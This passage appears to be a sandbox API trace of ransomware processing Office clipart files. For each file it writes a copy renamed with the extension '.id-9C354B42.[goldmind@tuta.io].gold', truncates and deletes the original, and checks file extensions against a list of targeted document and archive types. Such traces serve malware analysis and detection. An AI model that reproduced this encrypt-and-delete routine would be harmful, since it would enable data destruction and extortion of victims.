Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".jpg") returned 4 [0102.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.066] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.066] lstrlenW (lpString="J0099174.WMF") returned 12 [0102.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.067] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6214) returned 1 [0102.067] CloseHandle (hObject=0x364) returned 1 [0102.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0102.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.067] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.067] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.068] GetLastError () returned 0x0 [0102.068] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1846, lpOverlapped=0x0) returned 1 [0102.069] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1850, lpOverlapped=0x0) returned 1 [0102.070] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.070] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.070] SetEndOfFile (hFile=0x3ac) returned 1 [0102.070] CloseHandle (hObject=0x3ac) returned 1 [0102.070] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.070] SetEndOfFile (hFile=0x364) returned 1 [0102.072] CloseHandle (hObject=0x364) returned 1 [0102.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".doc") returned 4 [0102.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".docx") returned 5 [0102.073] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0102.073] lstrlenW (lpString=".pdf") returned 4 [0102.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".xls") returned 4 [0102.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.073] lstrlenW (lpString=".xlsx") returned 5 [0102.073] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0102.073] lstrlenW (lpString=".ppt") returned 4 [0102.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".zip") returned 4 [0102.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.073] lstrlenW (lpString=".rar") returned 4 [0102.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".bz2") returned 4 [0102.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".7z") returned 3 [0102.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".dbf") returned 4 [0102.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".1cd") returned 4 [0102.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".jpg") returned 4 [0102.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".doc") returned 4 [0102.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".docx") returned 5 [0102.073] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0102.073] lstrlenW (lpString=".pdf") returned 4 [0102.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString=".xls") returned 4 [0102.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.073] lstrlenW (lpString=".xlsx") returned 5 [0102.073] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0102.073] lstrlenW (lpString=".ppt") returned 4 [0102.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.073] lstrlenW (lpString=".zip") returned 4 [0102.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.074] lstrlenW (lpString=".rar") returned 4 [0102.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.074] lstrlenW (lpString=".bz2") returned 4 [0102.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.074] lstrlenW (lpString=".7z") returned 3 [0102.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.074] lstrlenW (lpString=".dbf") returned 4 [0102.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.074] lstrlenW (lpString=".1cd") returned 4 [0102.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0102.074] lstrlenW (lpString=".jpg") returned 4 [0102.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.074] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.074] lstrlenW (lpString="J0099175.WMF") returned 12 [0102.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.075] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9744) returned 1 [0102.075] CloseHandle (hObject=0x364) returned 1 [0102.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0102.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.075] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.075] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.076] GetLastError () returned 0x0 [0102.076] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2610, lpOverlapped=0x0) returned 1 [0102.079] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2620, lpOverlapped=0x0) returned 1 [0102.079] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.079] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.080] SetEndOfFile (hFile=0x3ac) returned 1 [0102.080] CloseHandle (hObject=0x3ac) returned 1 [0102.080] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.080] SetEndOfFile (hFile=0x364) returned 1 [0102.081] CloseHandle (hObject=0x364) returned 1 [0102.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".doc") returned 4 [0102.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".docx") returned 5 [0102.083] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0102.083] lstrlenW (lpString=".pdf") returned 4 [0102.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".xls") returned 4 [0102.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.083] lstrlenW (lpString=".xlsx") returned 5 [0102.083] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0102.083] lstrlenW (lpString=".ppt") returned 4 [0102.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".zip") returned 4 [0102.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.083] lstrlenW (lpString=".rar") returned 4 [0102.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".bz2") returned 4 [0102.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".7z") returned 3 [0102.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".dbf") returned 4 [0102.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".1cd") returned 4 [0102.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".jpg") returned 4 [0102.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.083] lstrlenW (lpString=".doc") returned 4 [0102.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".docx") returned 5 [0102.083] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0102.083] lstrlenW (lpString=".pdf") returned 4 [0102.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.083] lstrlenW (lpString=".xls") returned 4 [0102.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.084] lstrlenW (lpString=".xlsx") returned 5 [0102.084] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0102.084] lstrlenW (lpString=".ppt") returned 4 [0102.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.084] lstrlenW (lpString=".zip") returned 4 [0102.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.084] lstrlenW (lpString=".rar") returned 4 [0102.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.084] lstrlenW (lpString=".bz2") returned 4 [0102.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.084] lstrlenW (lpString=".7z") returned 3 [0102.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.084] lstrlenW (lpString=".dbf") returned 4 [0102.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.084] lstrlenW (lpString=".1cd") returned 4 [0102.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0102.084] lstrlenW (lpString=".jpg") returned 4 [0102.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.084] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.084] lstrlenW (lpString="J0099176.WMF") returned 12 [0102.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.085] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2488) returned 1 [0102.085] CloseHandle (hObject=0x364) returned 1 [0102.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0102.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.085] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.085] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.086] GetLastError () returned 0x0 [0102.086] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9b8, lpOverlapped=0x0) returned 1 [0102.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0102.596] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.596] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.596] SetEndOfFile (hFile=0x3ac) returned 1 [0102.596] CloseHandle (hObject=0x3ac) returned 1 [0102.596] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.596] SetEndOfFile (hFile=0x364) returned 1 [0102.598] CloseHandle (hObject=0x364) returned 1 [0102.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString=".doc") returned 4 [0102.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString=".docx") returned 5 [0102.599] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0102.599] lstrlenW (lpString=".pdf") returned 4 [0102.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString=".xls") returned 4 [0102.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.599] lstrlenW (lpString=".xlsx") returned 5 [0102.599] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0102.599] lstrlenW (lpString=".ppt") returned 4 [0102.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString=".zip") returned 4 [0102.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.599] lstrlenW (lpString=".rar") returned 4 [0102.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString=".bz2") returned 4 [0102.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString=".7z") returned 3 [0102.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString=".dbf") returned 4 [0102.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString=".1cd") returned 4 [0102.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.599] lstrlenW (lpString=".jpg") returned 4 [0102.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString=".doc") returned 4 [0102.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString=".docx") returned 5 [0102.600] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0102.600] lstrlenW (lpString=".pdf") returned 4 [0102.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString=".xls") returned 4 [0102.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.600] lstrlenW (lpString=".xlsx") returned 5 [0102.600] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0102.600] lstrlenW (lpString=".ppt") returned 4 [0102.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString=".zip") returned 4 [0102.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.600] lstrlenW (lpString=".rar") returned 4 [0102.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString=".bz2") returned 4 [0102.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString=".7z") returned 3 [0102.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString=".dbf") returned 4 [0102.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString=".1cd") returned 4 [0102.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0102.600] lstrlenW (lpString=".jpg") returned 4 [0102.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.600] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0102.600] lstrlenW (lpString="J0099197.GIF") returned 12 [0102.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.601] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=10898) returned 1 [0102.601] CloseHandle (hObject=0x364) returned 1 [0102.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program 